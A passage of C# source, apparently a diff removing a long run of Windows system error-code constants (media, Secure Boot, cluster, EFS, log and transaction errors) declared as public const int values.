ERROR_MEDIA_UNAVAILABLE = 4308; - public const int ERROR_RESOURCE_DISABLED = 4309; - public const int ERROR_INVALID_CLEANER = 4310; - public const int ERROR_UNABLE_TO_CLEAN = 4311; - public const int ERROR_OBJECT_NOT_FOUND = 4312; - public const int ERROR_DATABASE_FAILURE = 4313; - public const int ERROR_DATABASE_FULL = 4314; - public const int ERROR_MEDIA_INCOMPATIBLE = 4315; - public const int ERROR_RESOURCE_NOT_PRESENT = 4316; - public const int ERROR_INVALID_OPERATION = 4317; - public const int ERROR_MEDIA_NOT_AVAILABLE = 4318; - public const int ERROR_DEVICE_NOT_AVAILABLE = 4319; - public const int ERROR_REQUEST_REFUSED = 4320; - public const int ERROR_INVALID_DRIVE_OBJECT = 4321; - public const int ERROR_LIBRARY_FULL = 4322; - public const int ERROR_MEDIUM_NOT_ACCESSIBLE = 4323; - public const int ERROR_UNABLE_TO_LOAD_MEDIUM = 4324; - public const int ERROR_UNABLE_TO_INVENTORY_DRIVE = 4325; - public const int ERROR_UNABLE_TO_INVENTORY_SLOT = 4326; - public const int ERROR_UNABLE_TO_INVENTORY_TRANSPORT = 4327; - public const int ERROR_TRANSPORT_FULL = 4328; - public const int ERROR_CONTROLLING_IEPORT = 4329; - public const int ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 4330; - public const int ERROR_CLEANER_SLOT_SET = 4331; - public const int ERROR_CLEANER_SLOT_NOT_SET = 4332; - public const int ERROR_CLEANER_CARTRIDGE_SPENT = 4333; - public const int ERROR_UNEXPECTED_OMID = 4334; - public const int ERROR_CANT_DELETE_LAST_ITEM = 4335; - public const int ERROR_MESSAGE_EXCEEDS_MAX_SIZE = 4336; - public const int ERROR_VOLUME_CONTAINS_SYS_FILES = 4337; - public const int ERROR_INDIGENOUS_TYPE = 4338; - public const int ERROR_NO_SUPPORTING_DRIVES = 4339; - public const int ERROR_CLEANER_CARTRIDGE_INSTALLED = 4340; - public const int ERROR_IEPORT_FULL = 4341; - public const int ERROR_FILE_OFFLINE = 4350; - public const int ERROR_REMOTE_STORAGE_NOT_ACTIVE = 4351; - public const int ERROR_REMOTE_STORAGE_MEDIA_ERROR = 4352; - public const int ERROR_NOT_A_REPARSE_POINT = 4390; - public const int ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391; - public const int ERROR_INVALID_REPARSE_DATA = 4392; - public const int ERROR_REPARSE_TAG_INVALID = 4393; - public const int ERROR_REPARSE_TAG_MISMATCH = 4394; - public const int ERROR_REPARSE_POINT_ENCOUNTERED = 4395; - public const int ERROR_APP_DATA_NOT_FOUND = 4400; - public const int ERROR_APP_DATA_EXPIRED = 4401; - public const int ERROR_APP_DATA_CORRUPT = 4402; - public const int ERROR_APP_DATA_LIMIT_EXCEEDED = 4403; - public const int ERROR_APP_DATA_REBOOT_REQUIRED = 4404; - public const int ERROR_SECUREBOOT_ROLLBACK_DETECTED = 4420; - public const int ERROR_SECUREBOOT_POLICY_VIOLATION = 4421; - public const int ERROR_SECUREBOOT_INVALID_POLICY = 4422; - public const int ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND = 4423; - public const int ERROR_SECUREBOOT_POLICY_NOT_SIGNED = 4424; - public const int ERROR_SECUREBOOT_NOT_ENABLED = 4425; - public const int ERROR_SECUREBOOT_FILE_REPLACED = 4426; - public const int ERROR_SECUREBOOT_POLICY_NOT_AUTHORIZED = 4427; - public const int ERROR_SECUREBOOT_POLICY_UNKNOWN = 4428; - public const int ERROR_SECUREBOOT_POLICY_MISSING_ANTIROLLBACKVERSION = 4429; - public const int ERROR_SECUREBOOT_PLATFORM_ID_MISMATCH = 4430; - public const int ERROR_SECUREBOOT_POLICY_ROLLBACK_DETECTED = 4431; - public const int ERROR_SECUREBOOT_POLICY_UPGRADE_MISMATCH = 4432; - public const int ERROR_SECUREBOOT_REQUIRED_POLICY_FILE_MISSING = 4433; - public const int ERROR_SECUREBOOT_NOT_BASE_POLICY = 4434; - public const int ERROR_SECUREBOOT_NOT_SUPPLEMENTAL_POLICY = 4435; - public const int ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED = 4440; - public const int ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED = 4441; - public const int ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED = 4442; - public const int ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED = 4443; - public const int ERROR_ALREADY_HAS_STREAM_ID = 4444; - public const int ERROR_SMR_GARBAGE_COLLECTION_REQUIRED = 4445; - public const int ERROR_WOF_WIM_HEADER_CORRUPT = 4446; - public const int ERROR_WOF_WIM_RESOURCE_TABLE_CORRUPT = 4447; - public const int ERROR_WOF_FILE_RESOURCE_TABLE_CORRUPT = 4448; - public const int ERROR_VOLUME_NOT_SIS_ENABLED = 4500; - public const int ERROR_SYSTEM_INTEGRITY_ROLLBACK_DETECTED = 4550; - public const int ERROR_SYSTEM_INTEGRITY_POLICY_VIOLATION = 4551; - public const int ERROR_SYSTEM_INTEGRITY_INVALID_POLICY = 4552; - public const int ERROR_SYSTEM_INTEGRITY_POLICY_NOT_SIGNED = 4553; - public const int ERROR_SYSTEM_INTEGRITY_TOO_MANY_POLICIES = 4554; - public const int ERROR_SYSTEM_INTEGRITY_SUPPLEMENTAL_POLICY_NOT_AUTHORIZED = 4555; - public const int ERROR_VSM_NOT_INITIALIZED = 4560; - public const int ERROR_VSM_DMA_PROTECTION_NOT_IN_USE = 4561; - public const int ERROR_PLATFORM_MANIFEST_NOT_AUTHORIZED = 4570; - public const int ERROR_PLATFORM_MANIFEST_INVALID = 4571; - public const int ERROR_PLATFORM_MANIFEST_FILE_NOT_AUTHORIZED = 4572; - public const int ERROR_PLATFORM_MANIFEST_CATALOG_NOT_AUTHORIZED = 4573; - public const int ERROR_PLATFORM_MANIFEST_BINARY_ID_NOT_FOUND = 4574; - public const int ERROR_PLATFORM_MANIFEST_NOT_ACTIVE = 4575; - public const int ERROR_PLATFORM_MANIFEST_NOT_SIGNED = 4576; - public const int ERROR_DEPENDENT_RESOURCE_EXISTS = 5001; - public const int ERROR_DEPENDENCY_NOT_FOUND = 5002; - public const int ERROR_DEPENDENCY_ALREADY_EXISTS = 5003; - public const int ERROR_RESOURCE_NOT_ONLINE = 5004; - public const int ERROR_HOST_NODE_NOT_AVAILABLE = 5005; - public const int ERROR_RESOURCE_NOT_AVAILABLE = 5006; - public const int ERROR_RESOURCE_NOT_FOUND = 5007; - public const int ERROR_SHUTDOWN_CLUSTER = 5008; - public const int ERROR_CANT_EVICT_ACTIVE_NODE = 5009; - public const int ERROR_OBJECT_ALREADY_EXISTS = 5010; - public const int ERROR_OBJECT_IN_LIST = 5011; - public const int ERROR_GROUP_NOT_AVAILABLE = 5012; - public const int ERROR_GROUP_NOT_FOUND = 5013; - public const int ERROR_GROUP_NOT_ONLINE = 5014; - public const int ERROR_HOST_NODE_NOT_RESOURCE_OWNER = 5015; - public const int ERROR_HOST_NODE_NOT_GROUP_OWNER = 5016; - public const int ERROR_RESMON_CREATE_FAILED = 5017; - public const int ERROR_RESMON_ONLINE_FAILED = 5018; - public const int ERROR_RESOURCE_ONLINE = 5019; - public const int ERROR_QUORUM_RESOURCE = 5020; - public const int ERROR_NOT_QUORUM_CAPABLE = 5021; - public const int ERROR_CLUSTER_SHUTTING_DOWN = 5022; - public const int ERROR_INVALID_STATE = 5023; - public const int ERROR_RESOURCE_PROPERTIES_STORED = 5024; - public const int ERROR_NOT_QUORUM_CLASS = 5025; - public const int ERROR_CORE_RESOURCE = 5026; - public const int ERROR_QUORUM_RESOURCE_ONLINE_FAILED = 5027; - public const int ERROR_QUORUMLOG_OPEN_FAILED = 5028; - public const int ERROR_CLUSTERLOG_CORRUPT = 5029; - public const int ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 5030; - public const int ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 5031; - public const int ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 5032; - public const int ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 5033; - public const int ERROR_QUORUM_OWNER_ALIVE = 5034; - public const int ERROR_NETWORK_NOT_AVAILABLE = 5035; - public const int ERROR_NODE_NOT_AVAILABLE = 5036; - public const int ERROR_ALL_NODES_NOT_AVAILABLE = 5037; - public const int ERROR_RESOURCE_FAILED = 5038; - public const int ERROR_CLUSTER_INVALID_NODE = 5039; - public const int ERROR_CLUSTER_NODE_EXISTS = 5040; - public const int ERROR_CLUSTER_JOIN_IN_PROGRESS = 5041; - public const int ERROR_CLUSTER_NODE_NOT_FOUND = 5042; - public const int ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 5043; - public const int ERROR_CLUSTER_NETWORK_EXISTS = 5044; - public const int ERROR_CLUSTER_NETWORK_NOT_FOUND = 5045; - public const int ERROR_CLUSTER_NETINTERFACE_EXISTS = 5046; - public const int ERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 5047; - public const int ERROR_CLUSTER_INVALID_REQUEST = 5048; - public const int ERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 5049; - public const int ERROR_CLUSTER_NODE_DOWN = 5050; - public const int ERROR_CLUSTER_NODE_UNREACHABLE = 5051; - public const int ERROR_CLUSTER_NODE_NOT_MEMBER = 5052; - public const int ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 5053; - public const int ERROR_CLUSTER_INVALID_NETWORK = 5054; - public const int ERROR_CLUSTER_NODE_UP = 5056; - public const int ERROR_CLUSTER_IPADDR_IN_USE = 5057; - public const int ERROR_CLUSTER_NODE_NOT_PAUSED = 5058; - public const int ERROR_CLUSTER_NO_SECURITY_CONTEXT = 5059; - public const int ERROR_CLUSTER_NETWORK_NOT_INTERNAL = 5060; - public const int ERROR_CLUSTER_NODE_ALREADY_UP = 5061; - public const int ERROR_CLUSTER_NODE_ALREADY_DOWN = 5062; - public const int ERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 5063; - public const int ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 5064; - public const int ERROR_CLUSTER_NODE_ALREADY_MEMBER = 5065; - public const int ERROR_CLUSTER_LAST_INTERNAL_NETWORK = 5066; - public const int ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 5067; - public const int ERROR_INVALID_OPERATION_ON_QUORUM = 5068; - public const int ERROR_DEPENDENCY_NOT_ALLOWED = 5069; - public const int ERROR_CLUSTER_NODE_PAUSED = 5070; - public const int ERROR_NODE_CANT_HOST_RESOURCE = 5071; - public const int ERROR_CLUSTER_NODE_NOT_READY = 5072; - public const int ERROR_CLUSTER_NODE_SHUTTING_DOWN = 5073; - public const int ERROR_CLUSTER_JOIN_ABORTED = 5074; - public const int ERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 5075; - public const int ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 5076; - public const int ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 5077; - public const int ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 5078; - public const int ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 5079; - public const int ERROR_CLUSTER_RESNAME_NOT_FOUND = 5080; - public const int ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 5081; - public const int ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 5082; - public const int ERROR_CLUSTER_DATABASE_SEQMISMATCH = 5083; - public const int ERROR_RESMON_INVALID_STATE = 5084; - public const int ERROR_CLUSTER_GUM_NOT_LOCKER = 5085; - public const int ERROR_QUORUM_DISK_NOT_FOUND = 5086; - public const int ERROR_DATABASE_BACKUP_CORRUPT = 5087; - public const int ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 5088; - public const int ERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 5089; - public const int ERROR_NO_ADMIN_ACCESS_POINT = 5090; - public const int ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 5890; - public const int ERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 5891; - public const int ERROR_CLUSTER_MEMBERSHIP_HALT = 5892; - public const int ERROR_CLUSTER_INSTANCE_ID_MISMATCH = 5893; - public const int ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 5894; - public const int ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 5895; - public const int ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 5896; - public const int ERROR_CLUSTER_PARAMETER_MISMATCH = 5897; - public const int ERROR_NODE_CANNOT_BE_CLUSTERED = 5898; - public const int ERROR_CLUSTER_WRONG_OS_VERSION = 5899; - public const int ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 5900; - public const int ERROR_CLUSCFG_ALREADY_COMMITTED = 5901; - public const int ERROR_CLUSCFG_ROLLBACK_FAILED = 5902; - public const int ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 5903; - public const int ERROR_CLUSTER_OLD_VERSION = 5904; - public const int ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 5905; - public const int ERROR_CLUSTER_NO_NET_ADAPTERS = 5906; - public const int ERROR_CLUSTER_POISONED = 5907; - public const int ERROR_CLUSTER_GROUP_MOVING = 5908; - public const int ERROR_CLUSTER_RESOURCE_TYPE_BUSY = 5909; - public const int ERROR_RESOURCE_CALL_TIMED_OUT = 5910; - public const int ERROR_INVALID_CLUSTER_IPV6_ADDRESS = 5911; - public const int ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION = 5912; - public const int ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS = 5913; - public const int ERROR_CLUSTER_PARTIAL_SEND = 5914; - public const int ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION = 5915; - public const int ERROR_CLUSTER_INVALID_STRING_TERMINATION = 5916; - public const int ERROR_CLUSTER_INVALID_STRING_FORMAT = 5917; - public const int ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS = 5918; - public const int ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS = 5919; - public const int ERROR_CLUSTER_NULL_DATA = 5920; - public const int ERROR_CLUSTER_PARTIAL_READ = 5921; - public const int ERROR_CLUSTER_PARTIAL_WRITE = 5922; - public const int ERROR_CLUSTER_CANT_DESERIALIZE_DATA = 5923; - public const int ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT = 5924; - public const int ERROR_CLUSTER_NO_QUORUM = 5925; - public const int ERROR_CLUSTER_INVALID_IPV6_NETWORK = 5926; - public const int ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK = 5927; - public const int ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP = 5928; - public const int ERROR_DEPENDENCY_TREE_TOO_COMPLEX = 5929; - public const int ERROR_EXCEPTION_IN_RESOURCE_CALL = 5930; - public const int ERROR_CLUSTER_RHS_FAILED_INITIALIZATION = 5931; - public const int ERROR_CLUSTER_NOT_INSTALLED = 5932; - public const int ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE = 5933; - public const int ERROR_CLUSTER_MAX_NODES_IN_CLUSTER = 5934; - public const int ERROR_CLUSTER_TOO_MANY_NODES = 5935; - public const int ERROR_CLUSTER_OBJECT_ALREADY_USED = 5936; - public const int ERROR_NONCORE_GROUPS_FOUND = 5937; - public const int ERROR_FILE_SHARE_RESOURCE_CONFLICT = 5938; - public const int ERROR_CLUSTER_EVICT_INVALID_REQUEST = 5939; - public const int ERROR_CLUSTER_SINGLETON_RESOURCE = 5940; - public const int ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE = 5941; - public const int ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED = 5942; - public const int ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR = 5943; - public const int ERROR_CLUSTER_GROUP_BUSY = 5944; - public const int ERROR_CLUSTER_NOT_SHARED_VOLUME = 5945; - public const int ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR = 5946; - public const int ERROR_CLUSTER_SHARED_VOLUMES_IN_USE = 5947; - public const int ERROR_CLUSTER_USE_SHARED_VOLUMES_API = 5948; - public const int ERROR_CLUSTER_BACKUP_IN_PROGRESS = 5949; - public const int ERROR_NON_CSV_PATH = 5950; - public const int ERROR_CSV_VOLUME_NOT_LOCAL = 5951; - public const int ERROR_CLUSTER_WATCHDOG_TERMINATING = 5952; - public const int ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES = 5953; - public const int ERROR_CLUSTER_INVALID_NODE_WEIGHT = 5954; - public const int ERROR_CLUSTER_RESOURCE_VETOED_CALL = 5955; - public const int ERROR_RESMON_SYSTEM_RESOURCES_LACKING = 5956; - public const int ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION = 5957; - public const int ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE = 5958; - public const int ERROR_CLUSTER_GROUP_QUEUED = 5959; - public const int ERROR_CLUSTER_RESOURCE_LOCKED_STATUS = 5960; - public const int ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED = 5961; - public const int ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS = 5962; - public const int ERROR_CLUSTER_DISK_NOT_CONNECTED = 5963; - public const int ERROR_DISK_NOT_CSV_CAPABLE = 5964; - public const int ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE = 5965; - public const int ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED = 5966; - public const int ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED = 5967; - public const int ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES = 5968; - public const int ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES = 5969; - public const int ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE = 5970; - public const int ERROR_CLUSTER_AFFINITY_CONFLICT = 5971; - public const int ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE = 5972; - public const int ERROR_CLUSTER_UPGRADE_INCOMPATIBLE_VERSIONS = 5973; - public const int ERROR_CLUSTER_UPGRADE_FIX_QUORUM_NOT_SUPPORTED = 5974; - public const int ERROR_CLUSTER_UPGRADE_RESTART_REQUIRED = 5975; - public const int ERROR_CLUSTER_UPGRADE_IN_PROGRESS = 5976; - public const int ERROR_CLUSTER_UPGRADE_INCOMPLETE = 5977; - public const int ERROR_CLUSTER_NODE_IN_GRACE_PERIOD = 5978; - public const int ERROR_CLUSTER_CSV_IO_PAUSE_TIMEOUT = 5979; - public const int ERROR_NODE_NOT_ACTIVE_CLUSTER_MEMBER = 5980; - public const int ERROR_CLUSTER_RESOURCE_NOT_MONITORED = 5981; - public const int ERROR_CLUSTER_RESOURCE_DOES_NOT_SUPPORT_UNMONITORED = 5982; - public const int ERROR_CLUSTER_RESOURCE_IS_REPLICATED = 5983; - public const int ERROR_CLUSTER_NODE_ISOLATED = 5984; - public const int ERROR_CLUSTER_NODE_QUARANTINED = 5985; - public const int ERROR_CLUSTER_DATABASE_UPDATE_CONDITION_FAILED = 5986; - public const int ERROR_CLUSTER_SPACE_DEGRADED = 5987; - public const int ERROR_CLUSTER_TOKEN_DELEGATION_NOT_SUPPORTED = 5988; - public const int ERROR_CLUSTER_CSV_INVALID_HANDLE = 5989; - public const int ERROR_CLUSTER_CSV_SUPPORTED_ONLY_ON_COORDINATOR = 5990; - public const int ERROR_GROUPSET_NOT_AVAILABLE = 5991; - public const int ERROR_GROUPSET_NOT_FOUND = 5992; - public const int ERROR_GROUPSET_CANT_PROVIDE = 5993; - public const int ERROR_CLUSTER_FAULT_DOMAIN_PARENT_NOT_FOUND = 5994; - public const int ERROR_CLUSTER_FAULT_DOMAIN_INVALID_HIERARCHY = 5995; - public const int ERROR_CLUSTER_FAULT_DOMAIN_FAILED_S2D_VALIDATION = 5996; - public const int ERROR_CLUSTER_FAULT_DOMAIN_S2D_CONNECTIVITY_LOSS = 5997; - public const int ERROR_CLUSTER_INVALID_INFRASTRUCTURE_FILESERVER_NAME = 5998; - public const int ERROR_CLUSTERSET_MANAGEMENT_CLUSTER_UNREACHABLE = 5999; - public const int ERROR_ENCRYPTION_FAILED = 6000; - public const int ERROR_DECRYPTION_FAILED = 6001; - public const int ERROR_FILE_ENCRYPTED = 6002; - public const int ERROR_NO_RECOVERY_POLICY = 6003; - public const int ERROR_NO_EFS = 6004; - public const int ERROR_WRONG_EFS = 6005; - public const int ERROR_NO_USER_KEYS = 6006; - public const int ERROR_FILE_NOT_ENCRYPTED = 6007; - public const int ERROR_NOT_EXPORT_FORMAT = 6008; - public const int ERROR_FILE_READ_ONLY = 6009; - public const int ERROR_DIR_EFS_DISALLOWED = 6010; - public const int ERROR_EFS_SERVER_NOT_TRUSTED = 6011; - public const int ERROR_BAD_RECOVERY_POLICY = 6012; - public const int ERROR_EFS_ALG_BLOB_TOO_BIG = 6013; - public const int ERROR_VOLUME_NOT_SUPPORT_EFS = 6014; - public const int ERROR_EFS_DISABLED = 6015; - public const int ERROR_EFS_VERSION_NOT_SUPPORT = 6016; - public const int ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 6017; - public const int ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER = 6018; - public const int ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 6019; - public const int ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 6020; - public const int ERROR_CS_ENCRYPTION_FILE_NOT_CSE = 6021; - public const int ERROR_ENCRYPTION_POLICY_DENIES_OPERATION = 6022; - public const int ERROR_WIP_ENCRYPTION_FAILED = 6023; - public const int ERROR_NO_BROWSER_SERVERS_FOUND = 6118; - public const int SCHED_E_SERVICE_NOT_LOCALSYSTEM = 6200; - public const int ERROR_LOG_SECTOR_INVALID = 6600; - public const int ERROR_LOG_SECTOR_PARITY_INVALID = 6601; - public const int ERROR_LOG_SECTOR_REMAPPED = 6602; - public const int ERROR_LOG_BLOCK_INCOMPLETE = 6603; - public const int ERROR_LOG_INVALID_RANGE = 6604; - public const int ERROR_LOG_BLOCKS_EXHAUSTED = 6605; - public const int ERROR_LOG_READ_CONTEXT_INVALID = 6606; - public const int ERROR_LOG_RESTART_INVALID = 6607; - public const int ERROR_LOG_BLOCK_VERSION = 6608; - public const int ERROR_LOG_BLOCK_INVALID = 6609; - public const int ERROR_LOG_READ_MODE_INVALID = 6610; - public const int ERROR_LOG_NO_RESTART = 6611; - public const int ERROR_LOG_METADATA_CORRUPT = 6612; - public const int ERROR_LOG_METADATA_INVALID = 6613; - public const int ERROR_LOG_METADATA_INCONSISTENT = 6614; - public const int ERROR_LOG_RESERVATION_INVALID = 6615; - public const int ERROR_LOG_CANT_DELETE = 6616; - public const int ERROR_LOG_CONTAINER_LIMIT_EXCEEDED = 6617; - public const int ERROR_LOG_START_OF_LOG = 6618; - public const int ERROR_LOG_POLICY_ALREADY_INSTALLED = 6619; - public const int ERROR_LOG_POLICY_NOT_INSTALLED = 6620; - public const int ERROR_LOG_POLICY_INVALID = 6621; - public const int ERROR_LOG_POLICY_CONFLICT = 6622; - public const int ERROR_LOG_PINNED_ARCHIVE_TAIL = 6623; - public const int ERROR_LOG_RECORD_NONEXISTENT = 6624; - public const int ERROR_LOG_RECORDS_RESERVED_INVALID = 6625; - public const int ERROR_LOG_SPACE_RESERVED_INVALID = 6626; - public const int ERROR_LOG_TAIL_INVALID = 6627; - public const int ERROR_LOG_FULL = 6628; - public const int ERROR_COULD_NOT_RESIZE_LOG = 6629; - public const int ERROR_LOG_MULTIPLEXED = 6630; - public const int ERROR_LOG_DEDICATED = 6631; - public const int ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS = 6632; - public const int ERROR_LOG_ARCHIVE_IN_PROGRESS = 6633; - public const int ERROR_LOG_EPHEMERAL = 6634; - public const int ERROR_LOG_NOT_ENOUGH_CONTAINERS = 6635; - public const int ERROR_LOG_CLIENT_ALREADY_REGISTERED = 6636; - public const int ERROR_LOG_CLIENT_NOT_REGISTERED = 6637; - public const int ERROR_LOG_FULL_HANDLER_IN_PROGRESS = 6638; - public const int ERROR_LOG_CONTAINER_READ_FAILED = 6639; - public const int ERROR_LOG_CONTAINER_WRITE_FAILED = 6640; - public const int ERROR_LOG_CONTAINER_OPEN_FAILED = 6641; - public const int ERROR_LOG_CONTAINER_STATE_INVALID = 6642; - public const int ERROR_LOG_STATE_INVALID = 6643; - public const int ERROR_LOG_PINNED = 6644; - public const int ERROR_LOG_METADATA_FLUSH_FAILED = 6645; - public const int ERROR_LOG_INCONSISTENT_SECURITY = 6646; - public const int ERROR_LOG_APPENDED_FLUSH_FAILED = 6647; - public const int ERROR_LOG_PINNED_RESERVATION = 6648; - public const int ERROR_INVALID_TRANSACTION = 6700; - public const int ERROR_TRANSACTION_NOT_ACTIVE = 6701; - public const int ERROR_TRANSACTION_REQUEST_NOT_VALID = 6702; - public const int ERROR_TRANSACTION_NOT_REQUESTED = 6703; - public const int ERROR_TRANSACTION_ALREADY_ABORTED = 6704; - public const int ERROR_TRANSACTION_ALREADY_COMMITTED = 6705; - public const int ERROR_TM_INITIALIZATION_FAILED = 6706; - public const int ERROR_RESOURCEMANAGER_READ_ONLY = 6707; - public const int ERROR_TRANSACTION_NOT_JOINED = 6708; - public const int ERROR_TRANSACTION_SUPERIOR_EXISTS = 6709; - public const int ERROR_CRM_PROTOCOL_ALREADY_EXISTS = 6710; - public const int ERROR_TRANSACTION_PROPAGATION_FAILED = 6711; - public const int ERROR_CRM_PROTOCOL_NOT_FOUND = 6712; - public const int ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER = 6713; - public const int ERROR_CURRENT_TRANSACTION_NOT_VALID = 6714; - public const int ERROR_TRANSACTION_NOT_FOUND = 6715; - public const int ERROR_RESOURCEMANAGER_NOT_FOUND = 6716; - public const int ERROR_ENLISTMENT_NOT_FOUND = 6717; - public const int ERROR_TRANSACTIONMANAGER_NOT_FOUND = 6718; - public const int ERROR_TRANSACTIONMANAGER_NOT_ONLINE = 6719; - public const int ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 6720; - public const int ERROR_TRANSACTION_NOT_ROOT = 6721; - public const int ERROR_TRANSACTION_OBJECT_EXPIRED = 6722; - public const int ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED = 6723; - public const int ERROR_TRANSACTION_RECORD_TOO_LONG = 6724; - public const int ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED = 6725; - public const int ERROR_TRANSACTION_INTEGRITY_VIOLATED = 6726; - public const int ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH = 6727; - public const int ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT = 6728; - public const int ERROR_TRANSACTION_MUST_WRITETHROUGH = 6729; - public const int ERROR_TRANSACTION_NO_SUPERIOR = 6730; - public const int ERROR_HEURISTIC_DAMAGE_POSSIBLE = 6731; - public const int ERROR_TRANSACTIONAL_CONFLICT = 6800; - public const int ERROR_RM_NOT_ACTIVE = 6801; - public const int ERROR_RM_METADATA_CORRUPT = 6802; - public const int ERROR_DIRECTORY_NOT_RM = 6803; - public const int ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 6805; - public const int ERROR_LOG_RESIZE_INVALID_SIZE = 6806; - public const int ERROR_OBJECT_NO_LONGER_EXISTS = 6807; - public const int ERROR_STREAM_MINIVERSION_NOT_FOUND = 6808; - public const int ERROR_STREAM_MINIVERSION_NOT_VALID = 6809; - public const int ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 6810; - public const int ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 6811; - public const int ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS = 6812; - public const int ERROR_REMOTE_FILE_VERSION_MISMATCH = 6814; - public const int ERROR_HANDLE_NO_LONGER_VALID = 6815; - public const int ERROR_NO_TXF_METADATA = 6816; - public const int ERROR_LOG_CORRUPTION_DETECTED = 6817; - public const int ERROR_CANT_RECOVER_WITH_HANDLE_OPEN = 6818; - public const int ERROR_RM_DISCONNECTED = 6819; - public const int ERROR_ENLISTMENT_NOT_SUPERIOR = 6820; - public const int ERROR_RECOVERY_NOT_NEEDED = 6821; - public const int ERROR_RM_ALREADY_STARTED = 6822; - public const int ERROR_FILE_IDENTITY_NOT_PERSISTENT = 6823; - public const int ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 6824; - public const int ERROR_CANT_CROSS_RM_BOUNDARY = 6825; - public const int ERROR_TXF_DIR_NOT_EMPTY = 6826; - public const int ERROR_INDOUBT_TRANSACTIONS_EXIST = 6827; - public const int ERROR_TM_VOLATILE = 6828; - public const int ERROR_ROLLBACK_TIMER_EXPIRED = 6829; - public const int ERROR_TXF_ATTRIBUTE_CORRUPT = 6830; - public const int ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION = 6831; - public const int ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED = 6832; - public const int ERROR_LOG_GROWTH_FAILED = 6833; - public const int ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 6834; - public const int ERROR_TXF_METADATA_ALREADY_PRESENT = 6835; - public const int ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 6836; - public const int ERROR_TRANSACTION_REQUIRED_PROMOTION = 6837; - public const int ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION = 6838; - public const int ERROR_TRANSACTIONS_NOT_FROZEN = 6839; - 